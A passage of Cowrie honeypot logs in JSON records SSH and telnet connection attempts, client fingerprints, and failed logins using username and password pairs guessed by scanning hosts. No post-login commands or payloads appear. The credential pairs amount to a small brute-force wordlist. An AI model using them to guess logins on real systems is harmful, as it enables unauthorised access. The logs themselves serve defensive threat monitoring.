m","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:20.872129Z","src_ip":"61.72.55.130","session":"83b51d2ee354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT@2025","message":"login attempt [root/ROOT@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:21.704113Z","src_ip":"61.72.55.130","session":"83b51d2ee354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:22.908283Z","src_ip":"61.72.55.130","session":"83b51d2ee354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":37246,"dst_ip":"159.203.135.109","dst_port":22,"session":"996a367f382f","protocol":"ssh","message":"New connection: 162.241.239.241:37246 (159.203.135.109:22) [session: 996a367f382f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:23.690990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:23.696760Z","src_ip":"162.241.239.241","session":"996a367f382f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:23.725777Z","src_ip":"162.241.239.241","session":"996a367f382f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rndr","password":"rndr789","message":"login attempt [rndr/rndr789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:23.811520Z","src_ip":"162.241.239.241","session":"996a367f382f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:24.842090Z","src_ip":"162.241.239.241","session":"996a367f382f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":45242,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f81d9ceb67","protocol":"ssh","message":"New connection: 92.118.39.49:45242 (10.17.0.5:22) [session: c0f81d9ceb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:29.951318Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:30.083420Z","src_ip":"92.118.39.49","session":"c0f81d9ceb67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.635225772857666,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:41.403174Z","src_ip":"73.222.233.25","session":"66797f4affd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":57902,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eaf6f934e5f","protocol":"telnet","message":"New connection: 73.222.233.25:57902 (159.203.135.109:23) [session: 5eaf6f934e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:42.185115Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0vizxv","message":"login attempt [root/7ujMko0vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:42.532130Z","src_ip":"73.222.233.25","session":"5eaf6f934e5f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:42.920712Z","src_ip":"73.222.233.25","session":"5eaf6f934e5f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:43.320493Z","src_ip":"73.222.233.25","session":"5eaf6f934e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":55636,"dst_ip":"10.17.0.5","dst_port":22,"session":"94b17449c538","protocol":"ssh","message":"New connection: 162.241.239.202:55636 (10.17.0.5:22) [session: 94b17449c538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:56.257362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:56.261022Z","src_ip":"162.241.239.202","session":"94b17449c538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:56.286120Z","src_ip":"162.241.239.202","session":"94b17449c538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"venus","password":"venus2024","message":"login attempt [venus/venus2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:56.362021Z","src_ip":"162.241.239.202","session":"94b17449c538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:57.391521Z","src_ip":"162.241.239.202","session":"94b17449c538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":26656,"dst_ip":"159.203.135.109","dst_port":22,"session":"8282466e1a2e","protocol":"ssh","message":"New connection: 107.150.105.153:26656 (159.203.135.109:22) [session: 8282466e1a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:07.622667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:07.631475Z","src_ip":"107.150.105.153","session":"8282466e1a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:07.704715Z","src_ip":"107.150.105.153","session":"8282466e1a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Minijer.com","message":"login attempt [root/Minijer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:08.014545Z","src_ip":"107.150.105.153","session":"8282466e1a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:09.093688Z","src_ip":"107.150.105.153","session":"8282466e1a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":38596,"dst_ip":"159.203.135.109","dst_port":22,"session":"1308507b56c6","protocol":"ssh","message":"New connection: 50.6.173.74:38596 (159.203.135.109:22) [session: 1308507b56c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:12.343426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:12.347819Z","src_ip":"50.6.173.74","session":"1308507b56c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:12.373954Z","src_ip":"50.6.173.74","session":"1308507b56c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samouraiwallet","password":"samourai123","message":"login attempt [samouraiwallet/samourai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:12.456843Z","src_ip":"50.6.173.74","session":"1308507b56c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:13.484623Z","src_ip":"50.6.173.74","session":"1308507b56c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.073492765426636,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:15.258173Z","src_ip":"73.222.233.25","session":"5eaf6f934e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":58448,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b39b5f2b2d9","protocol":"telnet","message":"New connection: 73.222.233.25:58448 (159.203.135.109:23) [session: 0b39b5f2b2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:17.179112Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41108,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfdaafc74ff4","protocol":"telnet","message":"New connection: 170.64.224.25:41108 (159.203.135.109:23) [session: bfdaafc74ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:17.450857Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\x8c\\x8e\\x8e\\x86\\x8e\\x86\\x8c\\x88'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\x8c\\x8e\\x8e\\x86\\x8e\\x86\\x8c\\x88'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:17.523458Z","src_ip":"73.222.233.25","session":"0b39b5f2b2d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:17.922932Z","src_ip":"73.222.233.25","session":"0b39b5f2b2d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:18.314768Z","src_ip":"73.222.233.25","session":"0b39b5f2b2d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59996,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff024687f73","protocol":"telnet","message":"New connection: 170.64.224.25:59996 (159.203.135.109:23) [session: aff024687f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:25.743570Z"}
{"eventid":"cowrie.session.closed","duration":19.380805253982544,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:36.831567Z","src_ip":"170.64.224.25","session":"bfdaafc74ff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41916,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ccb4a79a62d","protocol":"telnet","message":"New connection: 107.6.151.170:41916 (159.203.135.109:23) [session: 2ccb4a79a62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:45.891732Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49148,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2a3447b7df3","protocol":"telnet","message":"New connection: 107.6.151.170:49148 (159.203.135.109:23) [session: f2a3447b7df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:48.918962Z"}
{"eventid":"cowrie.session.closed","duration":32.23414874076843,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:49.413157Z","src_ip":"73.222.233.25","session":"0b39b5f2b2d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":47612,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e7f01e7764","protocol":"ssh","message":"New connection: 91.92.40.176:47612 (10.17.0.5:22) [session: 77e7f01e7764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:51.442768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:51.446008Z","src_ip":"91.92.40.176","session":"77e7f01e7764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:51.530442Z","src_ip":"91.92.40.176","session":"77e7f01e7764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Postgres123","message":"login attempt [postgres/Postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:51.778175Z","src_ip":"91.92.40.176","session":"77e7f01e7764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":59026,"dst_ip":"159.203.135.109","dst_port":23,"session":"93036b56b817","protocol":"telnet","message":"New connection: 73.222.233.25:59026 (159.203.135.109:23) [session: 93036b56b817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:52.198439Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xc6\\xdd\\x8d\\x8b\\x8f\\x8f'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xc6\\xdd\\x8d\\x8b\\x8f\\x8f'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:52.539534Z","src_ip":"73.222.233.25","session":"93036b56b817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:52.869674Z","src_ip":"91.92.40.176","session":"77e7f01e7764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:52.931702Z","src_ip":"73.222.233.25","session":"93036b56b817","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:46:53.318447Z","src_ip":"73.222.233.25","session":"93036b56b817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":58896,"dst_ip":"159.203.135.109","dst_port":22,"session":"e500e803f11d","protocol":"ssh","message":"New connection: 162.254.35.142:58896 (159.203.135.109:22) [session: e500e803f11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:16.991673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:16.995435Z","src_ip":"162.254.35.142","session":"e500e803f11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:47:17.060357Z","src_ip":"162.254.35.142","session":"e500e803f11d","protocol":"ssh"}
